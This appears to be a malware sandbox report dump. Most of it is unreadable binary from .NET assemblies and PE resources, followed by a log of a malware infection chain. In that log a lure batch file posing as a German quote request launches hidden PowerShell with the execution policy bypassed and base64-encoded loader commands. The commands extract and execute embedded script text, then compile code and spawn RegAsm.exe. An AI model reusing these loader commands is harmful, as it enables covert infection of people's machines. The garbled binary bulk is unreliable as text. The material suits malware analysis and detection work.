sQhmkzѴ~J*3Umi[HeM󟨸z9 ^Y 6j AȆNѨb`ieU;(CQ r"-&H)& 区A%csxXdӌ4/>(Bj7NԜk5WR*<Ȫ 4 - _vȮ8قR8-h5e >6n;{iKp*{㾲q^0+tcHMNh)`}}߱nK'rJ#&j'Rޜ]% %w3ʋ+\Ya,MJ0F) NNo{Ws4Ƨؖ4mfis0(_zê1~_Wv@d <3iDجўٸQ p^12,G8|ۭ*@T|bZwz R~%X˔]wCα^w? Fz 7B6e6Cܵr\VCFAd t Q½·.=m)Dh\B@Pud2 |T(>C0Ś`.9ni̇Ry:xF͠T+mIr%n[j~z}S8j:!DfzHs\{9JAd{@a>54ِmPE4dfW/e06I;3}=?"3בu*ST?kLwd׬QT['c<\zj1I@$-z(ONM_Zȹxg_^0Cޥ!{8Hl-NQp^q^,t}D<쑻-չ}n^pMQs U8S3[.!DcZbZNLWX*\m(S0:ۖb lP}JCɥik}|áY9rEz^(ڴ|bD5ɉeH)T2[ ߚRx +@cq1v$k&nEN`NyNNNNNNN8NENUczccccccNNNNNNN'N2N9NGXl/=Eg -4;DPXinu|$ q%" q7" #q;".A"% 3?$O3?8 3?H3?(5@J6O8N:f?{FOGNIfN{+UOWNYf^{+eOgN3if9k{CoOpN3rf9t{Cx@% y@OyA IyA( %NzAD GS{A` iX|A| ]}ON3f9{CB\% BOB dON3f9{CONifn{wON}f{ONf{C% D,OD@(D!El!E!E!ONf{Ih% IOI$I%!L% LOM%!OT% OOO%!R% SDOSX%eT%UT%U%V%$W$&,W% XOLY'AY'cX]'\]'a]'^(%eO^% No^( vO^% N^(QO^% N^(QO^% N_(QO_$% N_<(QO_H% N_`(QO_p% N_(QO_% N_(QO_% N_( O_% N_(Qk `(s O`% N `,(Q`<(O`D% N$`$Q)O`l% N3`(Q="O,`% .NJ.`( P0O2`% 4N[4`(Qc5O6`% 8No8a( v;O>a$% @Nu@a<(Q|AOBaL% DNDad(QGOJat% LNLa( MONa% PNPa(QQORa% TNTa(QTa(Ta(UOWa% YN3Yb(Q[O]b$% _N_b<( abL(cOdbP% fNfbh( hOjbx% lNlb( nOpb% rNrb(Q#sOtb% vN.vb( 5xOzb% |NA|c(QH~Oc% NTc0(QOc@% N`cX( hOch% Nuc(Q|Oc% Nc( Oc% Nc(QOc% Nc( d(Od% Nd$(QOOd4% NdL(Qd$? Od`% Ndx(QOd% Nd(Qd)? Od% Nd(QeOd% Nd(QOe% Ne( Oe,% N"eD(Q+eT)? OeX% N9ep( Ee)? e(e(UOe% Ne(QpOe% Nge(QlOe% Nf(QOf% N{f(( f8(sOf@% NfX( Ofh% Nf(QOf% Nf(QZOf% Nf( Of% N f( Og% Ng$( O g4% "N"gL( $O&g\% (N(gt( )O*g% N! g(Q(.O0g% 2N42g( @8g(sL>O?g% ANAg( BOCh% EN]Eh (QcFh0(siGh8)? HOHh<% JNzJhT(Q`KOLhd% NNNh|( PORh% TNTh( UOVh% XNXh( ^Odh% fNfh( hOji% lNli (QoOri0% tNtiH(QvOxiX% zNzip(Q|i)a~i)? Oi% Ni(Q i(Oi% Ni( &Oi% N4i(Q?Oj% Nj$( Oj4% NjL(Q OjX% NYjp( `Oj% N`j( hOj% Nqj(Qxj)Oj% Nj(QuOj% NXk(QOk % Nk8( OkH% Nk`(Qkp)? kt(Lk|(Ok% Nk(QOk% Nk( Ok% Nk( Ol% Nl(QOl(% Nl@( OlP% Nlh(QOlt% N9l( EOl% Nl( l(*l(0Ol% Nl(QpOl% N@m(QEm)m$(sJOm,% NVmD(QT OmT% Naml(QgOm|% Nom( vOm% Nwm( m)"O"m% $N$m(Q&m((O)n% +N+n(Q/O3n(% 5N5n@(Q6O7nP% 9No9nh( vH[e7>H@GUX]`cUX]`cr@@GUX]UX]r@@GUX]UX]r@@Gr@@Gr@@Gr@@Gr@@Gr@@GU ] U ] r@ @G r@@GLLr@6 $'*.15 9 < 7>HLUX]LU ] UX]`cL UX]L\aOY*O **$1*-Y*B*O*ZY*a)1*jc1*j|Y*o*z Y**** * 1*#* *H * 1*|* ** 1*Y*1* ++Y+#l+/1+5 +O +W +g +l +y 1+O(+ 1+ +c+\+ Y+1+1+O + +?+ + O )O *Z *O ",-,; ,NE1*g,` Y,jO\, *aY,!O\)OO 9iOyQOyAOy9OyaOyIOyqOyIO eQOyYOyiOy1O,!OO\O, ,1,1,A,?,,,'1,p,w---1-1-E-O-\-j-y--- --O- - - - - . . - ..+ .0 - !.9 -j +.= 3.F - jOO O *.M .V.^ + *z .l .x . ....!....y./ / /"L!Oy/. /

lScaAkIPNbeluCacautssAesbmylnIoftArtbitueAmOgeCaorssaphtnigrOibStlaasc16c3098c0e244385171d66e2c614c1c0PnicenoDeirtfKtiVerainhsObrtiuRbgyaFclnooTsaetraJCmriuctiZbearuSdnailaLesOriragimMnaogrTmoobenc22ce99a16f14d29d1d1933dc19bab635NoeBndaimtnnoc5ce17ec0111c9f730213e206f7a28745QautrHzraominacBirkcoVclnaoaSutnraKozolGwoaMarhtnocf3bfd076f93f613ff65203d42ec56802PxileaSetlltieoHencymoPbtahccfc136c27e4562dd7e7114cf40559bfa3c6d5418c84a74f6b12e3e02932cf939abc69d98e6caf735b44c83d9998b3050558ce2de638dd48b39b17a36f774faaa8c56ce0839aec9ec0ab59f48a51cec6c3893dc00cc3cb208df91a99e832bef8182c8edc30e5c3fd9a6bb56175bcacf1e3ac3eb9c60dd0f12581077e57ce98ea1ef7a344dc80c06b7b61fc6690f6d8e93c1bb90d65c80710952026691c436774262e623b681c8092c790dd1b06db27be873c81bc5bf8cd0d0af056690f2a5e7121a7ed8e8a547ce0133881b8db818c98a98a032bbe519fce0b61a20355ce1ab6f8bc1006110ecf8cf014336df285e6047388bf1acbe95784c01cd4862b6a04cb52c236b234e1f6138c112e4094adfc491eb89375d77fa53e50c21a027c9917801f094116e15a4316160c315333ef0a2cc9749c3b1b136866f314c51bc8165cfc63ae990249b75c1b9e302c710652cb11c49e332cb1b7d0dd9bd0b0c81d98bb43d88dda76b47ebf8c60a750ccb1971691fa3b8cb1fcb01f48128f7f7bcb1ecab094995b899c7e48d6ebc87deb4cc1f781f79c882c2d11a972eda5dff727cf1761a4398cd7b412a9cebdc37ce1550cf18dcd95087c655716d1a3dc3c5aae94cf1fdf9e456927b32558b60496e0c46cac024a76dc7edcc10e37c006a1d4ab4ffcc123ea342326150b72279880880617171c22c362114b6ffd77f89f7d2ed788710fc22ecf0610eaf8ecb4ca60007647cb397c4281b2c654ef0f27dc63c3d090d98324c72e84af85f9005750e420fb1c87dd2b5cb2141f2dcc4070331b3630ff85908fb7cb27973c81ee9193330ba4e0f2b58f8c6cd2fb8a07d289cd2116d09802285fc0f9c23294685d449c722ba78c2ce10d23edacc3b808d23186d2adc2c6527a51451294ce3c5abcce8b65731fb479ef7d3a0ee97cf3c897f983274730b9015cb18a17725acf37c400d1b0bb18b50e20f04817c112ac042cfae42f850275d00c8d3eba5602bfc444e9397e2608b9bf2337c6b9d4c3d94c74046239a83dd9c430be6c14af586b24c847c31ab53f306f86bbaf7a3959094b1c9423489cb84da5acbffb6982b51f56e2cd40e610b47389a8847efc333d16a45d3cf4e76caf1466b73878eb1a1a627f99a2c6592761ad74f06827d0ce422880b96bec95e9ee6437779ebe38f9f55c89e40d04ca5c08b3632a3b09f6baabe6202447139cc5ff0fd2d3ea4292987dbb0ae72ad88ecd536af9a5e9e2e2f8a3bf7cab6934547ce5adcc0ed06a97524b936b632296eef7c36e7bc737e173bc3abb714e736675981c56ceb950202f71850d6df22b0310e141c66c39bdd777707e1ffadaa39467ae4c5ca651dac83ce4da7af4f3823abbcafb23cb603b79dff81d8765af709239ab27e09ce6430dcd5db37091ada4c7024353d696c476ac07ee595f904cf304ef13d5dd2d0c47ae7cd92c7c9ad1962187900a916e0bc9787cfd131e0d8514844e3cd567fd2f7cb7450cbf1077ac76d8cc8641ff0579f7cc7bea2e46b29c71bec85fb3fdd7b5dd4c1893b74b761fae0ea7b759ce6efda65ec1838fcff95cb3a9a58d8b19e2cd659fdc28242d2d13d64dc2ec06fcd3302d7c1ec38ea48af350cfbeb5a910d9b4a2d5ccec58629ea4e52a07607c8e04a51d0bdec2c687fa4349dac6a14403254e85b840df0c78de3fa35519ee79dc5484291e743dd1c9839fef78588685b7b4d5e052b56f020ca895551936943410439615dac86beb55ca828353ec1162e82e27e1cc05db18b9ccb8417326f5687b959fd5de0927103350cc845dc373bf617535efcd49ac0b6e745cd8993fc551c9d60c1b782b0fc5d300bcc095fdee82556671b31636b2c950de9eac59f943850ba3ccdc0156ebf98e5adce1c79c8627943a7ad73fc4f1bb6ff6e619cca9cd0e634e2d4d22367dd63471bdbe60cd9521de5967c33e8b5fb94d2f2710220c0a208ead914e26a00130f380fb76d3bdc2af5f691b2cf662655494565cc25a594c2af9280eefa41a3121c8682a804ed127c3acdb1e2c157a60ed1ad6885b25e2f77c5a7eed98fb40111fd471db38f2b06b49c6a18ac682b7576a196886f1e7f64be8ec7ab27360a1a3a35b1f4fe3200760f3ecc7a5965d0b56a9e059e61945ab466dd81c7afbe5a932c0665d9c43ecc7d780a5b0c8a16801861d1718bdc0326499259ea3dc8afe39ab53d5ff78ac8cbf0138b6177ccea94f99f249b23c8d2f7d87ef771c582c3be2a4ec7189530feac7ee9730c12fabc5beb9956ffa7013a906f210539281894c8b9ad269f4cffcb9641588c7c6213f57ceb116c2b044e87f0a16f99eb7436842aceb6f6da339319c019e0c41e84068262acfbf388129f70ecabb9efa5003d2d7cadc1c67cba09dbe597ffbbc334319e41752c2ca9b8a471399d3807f118929744e56ec5c0ac47bc5bf56087f0604fec0790bd5c8c399a5a874c9e592d0f04a45a8eacd3c9c620105ee92db93be2c701e817d9352cfcc83029ffddd1289c6bf6573592f061c3d2be5686bf7d76b766235dee818b216c3d5f523d85af197f3e9ba228ace64fe7c3ddfd34bee8f26bc8d940fcc6176aed0c6d1d5023a927be91a29336d31e1e424bccd08ef8b548cf48f5bd5347e2c3b8525ccdcd15809bb3332b5d73776f05d77199c0ea3f21361c008cfc4863eba044ff05dc3ef2fd9a080d894288725d4b7e6ef654c3e19ab5a830f014c185eed1990b4673bc4e86b19f87428116951180caff57d4a8c5e30643c9e79add4c79da32508fe14ffc8e03e16a5dc8de7ba0e47662bdcd1be9c8e75d6db1f944a962e10bb0ddd311b80c8e4fc45e63c53f0209b12f27c87e5341c9e2ca428f1eefb3f600681a35b421d86cdefaedd6ccf329b90d572f9dfb23c1d4c2fd0ee241bafa6c5b585dd8bbe2532aec2fe2f59f524e90660d4edd579e2732bfc2f0c1ee147ce23439b2187d21c45752bc7fa4d8e880e4514027f2217d8bd30fa2c7f7f9d5ec105b0552bfdee24eeb84f71c8fa107eee09f2942629fae0543001bd2c9ff58f7e8a19d97d4da90a68f1b24bbdcaf41d6d10de66bd3d940c1e1fa597213cbf53538f7606a22b19c7cd6222d7ed5ecbfa49c6136de7864a1b0b58b84398772cdf9b123acdcb614e7623c088ca878366.ccotrovtrxeoTdactiurBslethpnaotQmiutlabmreaLddrecbolaFtrokutbrPoaehcvleevCtmoteoynSxxamralbPelitopalmsKateltehsdawoaYnrtgaoVtrxetgaeBtltgauQlitatLgdaedratFgrokatPgaehctgaoCemtatSgxatgaiPoltatKgtelteatYgranpSwaCnihdlrPcosespapmcdaptanihlfevndrisiipRleaeesoTeknhiKlllFdelgnigocedRniEgunLmcolaselLpcolaEeunPmorcwdlFgaseFctEhpxroBtOydrnilaodrWihsmCyehkcusmalebllBneTdgasoLacetmElbmemdoluReootmelbmeGarMbdoluWezreorGbaoMudelAanemFtehceKnrleoCpmsassAFkrolDHlnaldeuPlltNldAlcnohreknrleoRtoSloedHrnaldse.tcrosrtpyaoldalBbowdiGeuaegpMeraekrawtndeaBesmpapSnahaeSdapnalnuhcfOsftesgeemtnrGdiDcedoelbboDriceotyrvRadixiDertcroSyapnlSdiTeFolievrauPllnAistSirgnoffmmeoCmmtipgaRexwssuepdnlFgafalsgmA6d4lfgaXs68PerlfgithtciektawetmrrakaftsaPhtRgoeuileksehlllBbogeutsaPhtRbesaPetahcowkrpealdnnigedtlarpcooRtoSitctIhpmrostSipTnrhaedepAbcnohrahcthccd8b0acdf63f954f9eefa3154bae84490cd2d052623f24a6041e0020ad085ed5f4c10b9b190fdad2ece1f5a9b59ee5317afcef0905c7d42e65eee674ddb767ed2353c9e79b9bb7460248784cd57cbaa9ec1dpsnapda0ap1dpda2wdXwdYwdSXziewdSYziewdCXuotnhCraswdCYuotnhCraswdiFlltArtbituelfgaoWdrsohMwdoeap3dpda4niiPepotuiPeperriPepporHcnaldehterdaaHdnelpditdipdaAepPbiotnrepdaBapCdporecssdIpdaDboejtcmteohdnIovekhpdardszptpreBigInvnkoeacllabkcEdnnIovekrselutubfrwrdthcxtc6142ffaf8b0986e0afadd53080a7b3bdc7ba27738c29792516f5914f3c87faef7cb0eff0cf3089c52d102b40f73ce7da25c4c3d2ed203f571f78fdeb911662f2941c4e3982e97016034f1fd238aa6c62fd46c4cd4316b8316f35160e9af911d7773dac672ad2da69d9f7b5c78ae74dee13d919ccd8f87697f82b6f8f790aaa21db3e039c456ee6b7ab3ca514f1fdfb6efdd3448acslifnoertilbdc0e660acda7956f2e96b1d7de5458b81ac42728396ba6a50693450bd2f867597c3c1760b60d5441cb40e08af20796555546ce7e17ae056bdcce5c04ee8a9102870e1c7da4b28c40363ad8186b6a6cf77f98acc5fe800ea52670826ea78845bf0285cd7cac4e55c8208856d8882c02bb72ec9be8c4eb35f159b56d3618bb3bdb476fe2a69c616ed588dc015917da2899d0d51815bivtrauSloptarSwoceprwanAhcrocade0390128ad3ae562a9b989e26a284bc5465d3bc7fdf9e72e1a5d770c2919139cf6d56459ff62fcd0c34bc98a81cb5723cdf983de0bf3c2454272539d5dcea75b2cca110c041365a6a92ed432feb68de108c3f62ab8cc97cc32f212a44c5c0243b54cf893be27fc995a11699f5bd7e6615e6ec072f4933cfff29556c29bb0ff66b3885ca86a9b737fcc5a30d2de9894dce2c3f1c4be7cd6a5eff3272c5d64d384cde3b3fc9214415d8744ed5599d7703a74a90aacc117fe7b2b53a431e6774f6aa135cea59c7cdc8eb51d180fcacaa6db2bcbaa27d0cdf06b24ab1e2818b1be3aa9fa642484ac6fc2786029ea1f65d12a707ef52979cec835feb4885413f9326257218c8f8773bcb4610d5d254f6cd5aab8018f85546e9dc918ca38df3648ef83b48117f3c3bf0ebc62b7fbb7c91f9e25178b984db01e1f56ce5f743eff8be85108e7268e9360225a2c359d9e2190a847d6951d78a70d53bb6bgtec_7989a9a8b63f914191a8d49a800ce8e5c5310c8d2a78a10061652d2cb7618b4f6ca8fece7e1d84b7f4c79ef64621fd087ccee80c6b65d65ef4ce5044ce0db50755fc092bb9ec14435c3bdfb7a93af4c4f635c70659b2a886ab132309afcd7627338a6c8a1d31d237f61fb75d87c74a45235db0c6702a33a88a43565df6beae831bbb3aac79387a519cda1ba579797d64a8100254c6c60a08ee36d5fe679b4e0b1aa1f332dcdd86307e67aec85eabf6de29188a2d04cf7b09c547cc713e0a3dadfb2ca1bf7fdcbffc37ceb449fdbd337da26a539a3a76c2af20441e0b3a291d3608c935f6ee0c6c251a2bce869aab6c27899efefac7bf3cc38449971ec2a4d3de56e1ed119fc5449c25d2226dcffe262dbde4e1b46015366cc6fea5316e5eeb30d982f31999998160fcf063819abd52cf228aa750a2b016d05ac4fb2092b03c66c7e76764b7444c80e6dc240a0f50c60fe3be21de8c7aada4fd60c13aa3e2a662ea1649ad1557e72aaeef6c220af644743a492fc81f09696c3abd74c2322e58dfcb11eaf59c640fc46594e79c405dc8f4c701f0dccb47c1ae5bb51a26c7f41f59d6463020f67a8551e391a4fc5ca964022385c2ac540665cde2ef8c6a16c531f5b7f8ee4d7fbef3c99cad01c1f66c8d563eeed3cc50597f95a793c7cc66a7cecfad927696843d5c4d948e07f2d4439cd82369747b090a232f868ebc29b69447c5b74ff8ea1d997cb294d79fd28125ee6c7989a9a8b63f914191a8d49a800ce8e5c679e1276ce78a15769dbd6e2cafc0df5c04b67e6f55cf0449444ce8f009763285CertaPeorecssWlCsoHenaldeeTmrnitaPeorecssEunSmsyetLmcolaseAeGPtorAcdderssGteoMudelaHdnelWeGMtdoluHenaldAeRaeIdtn23Eixteg_tiSezGtexEcetuniAgssmelbylAolHclGbolagteL_netghoCcntaRaeBdtyeoLdaWiretnI6t4eg_taNemRaeIdtn61gteA_CSIIo_pqEauilytgteC_ahsrIdnxefOGteyBetses_tVIPraesaddA_ssmelbRyseloevTIotn23SbutsirgnSziOefeGMtnafiseRtseuocrNemaseGteyTeprFmoaHdnelFerHelGbolaEtnreGteaMineftseRosruectSermaTIotn46CertaDeceyrtproRaedes_toPisitnogteP_sotioinrTnafsroBmolkcgteF_luNlmaeeRevsrees_taCapicytTAorryaWiretyBetTUonI1t6oTIUtn23WiretCpoyeg_tuOpttulBcoSkzieda_deRosrueceRosvlerTnafsroFmnilalBcoktSrastiWhtINsluOlErpmytgteI_pntulBcoSkzieeg_tuCrrneDtmoianeGStrtnigeGDtlegetaFerouFcnitnooPnietres_teKyrWtiIetn23ZreorFmoaBes46tSirgngteU_FT8oTiSgnelTDouolbelBcoCkpoymEtpyeg_tnUcidoenIetnrGteoMudelseg_toMudelaHdnelRseloevyTepaHdnelRseloeveMhtdoaHdnelGteeMhtdorFmoaHdnelGteiFlesdgteI_Ssatitceg_tiFleTdpyerCaeeteDelagetGteaParemetsrgteD_cealirgnyTepgteI_VslaeuyTepMkaBeRyfeyTepgteP_ramatereyTepgteR_teruTnpyeeGItGLneretaroLadgr0_EimtdLra_g1dLra_g2dLra_g3dLra_gSeg_tsIaFimylrOsAesbmylClalaCllivtrRteSteaVuleeNowjbsteI_etmiDpssoeeGMtteohBddoyrTGyteaVuleeGDtnymaciLInIofSteoCedGteoLacVlraiSHgleepreg_toLacVlraailbseGtenEmuretarogteC_ruertngteL_colayTepgteI_PsnienddAAdgrmunetoMeveNtxGteiSngtarueeSLtcolaiSngtarueeGTtkoneoFreSEtcxpeitnoseGVtlaeugteV_laeugteM_dolueeGGtnerecirAugemtnsoNpeg_tpOrenaTdpyeeRosvlSertnigeRosvlSegianuterRseloeveMhtdogteM_teohHdnaldeeg_tyTepaHdnelRseloeviFledeg_tiFleHdnaldeeRosvlTepyeeRosvlMemeebreg_teMbmreyTepLoBN9烺zV\4(,048@HLPT\ ` ] ] ] ] ] ] ] ] $ ]$ $] ] ] - ŀ aрa ŀ x | }y }y Ā ̀ YY Y Y ` $ ( 0 4 aa8 < aAaAD aTX \` ahl p t IIx $$| р́ EE ؁ A $ (,8< H L PT \ EaEa d h lptx| SsUyStsmeR.nuitemI.tnrepoeSvrciseC.ahSrte ,smoclrbi ,eVsroi=n.4.0.0,0C luutern=uertla ,uPlbcieKTykoneb=775a5c1639e4809hCraeSt y I TWarNpnoxEectpoiTnrhwos MR5Cporygith 2 206 )$2df9b8b09-39-61473b-e4-a00b013873ec6.1.0.00I.ENFTaremowkrV,reisnov=.48TrFmaweroDksilpyaaNem.EN TrFmawero k.48 T `` ``( $ `` " -EI} 0aEà A === A 倀 aEa aaa р р р Ea 0aEà u- *aEɀaŉ ŀt ݀5݀ 9 51 5 a ခAቀ Aaр a! aaـ ـ aa = A =A aa 9 9 aaa aa Y"3D9B94A98B-76A8-4810-B1A0-4BE7C4F9C98DA2# UjUl UjUkPublicKeyToken=publickeytoken= UjUq._Encrypted$Ydynamic method does not support fault clause/unexpected OperandType C_rolDMliansmocer.eldl% @30H@X4VS_VERSION_INFO?DVarFileInfo$TranslationLStringFileInfo(000004b0Comments"CompanyName.FileDescriptionR50FileVersion1.0.0.0.InternalNameR5.dllHLegalCopyrightCopyright 2026*LegalTrademarks6OriginalFilenameR5.dll&ProductNameR54ProductVersion1.0.0.08Assembly Version1.0.0.0", Executable loaded in memory "ZM@ !L!hTsip orrgmac naon tebr nui nOD Somed . $EPLjz!# @ @#|O@` Ht.xet `r.rsc@@@r.leco` @B#H X$(* SBBJ4v0.3.3091l4~#S#rtnisgU#SG#IUDPB#olbG 3% 2+kk 9 E V Pagiaa!a! a.&./9EV"lnjy0s02d.llWniiHedLxsmoclrbiSsyetmbOejtcFerCenooselGteoCsnloWeniodwhSwoiWdnwo.tcrohnSsyet.muRtnmi.eoCpmlireeSvrciseCmoipalitnoeRalaxitnoAsttirubetRnuitemoCpmtabilitiAyttirubetnylsj200yStsmeR.nuitemI.tnrepoeSvrciseDllmIoptrtArtbitueeknrle23d.llues3r.2ldl >ZcK_x+zV\4 TWarNpnoxEectpoiTnrhwos## #C_rolDMliansmocer.eldl% 0H@XLL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0,FileDescription 0FileVersion0.0.0.0< InternalNamenlyjs020.dll(LegalCopyright D OriginalFilenamenlyjs020.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 3", Executable loaded in memory "ZM@ !L!hTsip orrgmac naon tebr nui nOD Somed . $EPLjt! ( @@ @(W`@ Ht.xet `r.leco@@Br.rsc`@@(H# P8" %Jt&aRLGwx=ȷz }dAoܺ}#N!Q:LBKꞇ;*M_K@qtL(˧,XomV2εZ\.5f,BNMC^^=ɋYc&GC::7&|ygO\צV֫_V848XNJ/2iPb"sr>FZc>"FF!*t ck1>;n=üָ$ :"̖bw^MrQ-jtWN0̻8zP\j2BA,Dx>Q`)3fsuY`Eаd:F{>HYU ;2)Ixل/Tmy ui!@l(·&35AgtX̍tp?*rK; n f;Gy? _n>OVǚOe`_;bzbsƜpo,x1.'SBBJ4v0.3.3091`~#S#rtnisgG#IUDxB#olbG 3&,EWEvEEEEEEE/EHhhQ9!I)YyAiPqt.K.C.;.cU.[G.S:....3.+.#̀R&5&smoclrbiR%5R$5BooelnaSsyetmnI3t2sAesbmyloCpmnaAyttirubetSsyet.meRlfceitnoAssmelbCynoifugaritnotArtbituesAesbmyloCypirhgAtttirubetAssmelbCyluutertArtbituesAesbmyleDcsirtpoiAnttirubetAssmelbFyliVereisnotArtbituesAesbmylrPdocuAtttirubetAssmelbTytieltArtbituesAesbmylrTdameraAkttirubetAssmelbVyreisnotArtbitueoCpmlitaoiRnlexataoisntArtbitueyStsmeR.nuitemC.moipelSrreivecsuRtnmiCemoapitibilyttArtbitueoCVmsibieltArtbitueyStsmeR.nuitemI.tnrepoeSvrciseGiuAdttirubetSrtnigoVdic.otr356KՑt$$RAS1uI!ՒG>hLVYiPp&T$RqÚ77cX 2( +1 ` eUʟ8&H+у&SLnǇ[^ȥ~v.4I ezV\4eRosruecsAesbmyl LgociPNS fowtrae'C"porygith oLigNc PoStfawer2 009 )$262218de4-90-374dbb-02-3ff0ce9370e12.1.0.00 TWarNpnoxEectpoiTnrhwos (( (C_rolDMliansmocer.eldl% @ 80H`XTT4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0DCompanyNameLogicNP SoftwareLFileDescriptionResourceAssembly0FileVersion1.0.0.0LInternalNameResourceAssembly.dllh"LegalCopyrightCopyright LogicNP Software 2009TOriginalFilenameResourceAssembly.dllDProductNameResourceAssembly4ProductVersion1.0.0.08Assembly Version1.0.0.0"69:T64e,Process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA="" (UID: 00000000-00006840) Process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA"" (UID: 00000000-00003236) Process "powershell.exe" with commandline "-w 1 -nop -ep bypass -c "$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"" (UID: 00000000-00002148) Process "powershell.exe" with commandline "-w 1 -nop -ep bypass -f "%PUBLIC%\\28750q24813.ps1"" (UID: 00000000-00002684)6a:Ta34,Spawned process "cmd.exe" with commandline "/c ""C:\\Angebotsanfrage_11-Aug-2026.bat" "" (UID: 00000000-00001272) Spawned process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA="" (UID: 00000000-00006840) Spawned process "cmd.exe" with commandline "/c "C:\\Angebotsanfrage_11-Aug-2026.bat" 8ce0e0362e" (UID: 00000000-00007156) Spawned process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA"" (UID: 00000000-00003236) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\frnxne3f.vzc\\npm4ol10jde.cmd" 1dtoE2WDXh9" (UID: 00000000-00004252) Spawned process "powershell.exe" with commandline "-w 1 -nop -ep bypass -c "$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"" (UID: 00000000-00002148) Spawned process "powershell.exe" with commandline "-w 1 -nop -ep bypass -f "%PUBLIC%\\28750q24813.ps1"" (UID: 00000000-00002684) Spawned process "PING.EXE" with commandline "ping -n 8 127.0.0.1" (UID: 00000000-00005512) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\nlyjs020\\nlyjs020.cmdline"" (UID: 00000000-00007384) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESA1C2.tmp" "%TEMP%\\nlyjs020\\CSCE33F9235C0B44271B2BF9652FFAD4FA9.TMP"" (UID: 00000000-00007544) Spawned process "RegAsm.exe" (UID: 00000000-00007828) Spawned process "wmic.exe" with commandline ""wmic" process where ProcessId=2684 get CommandLine /value" (UID: 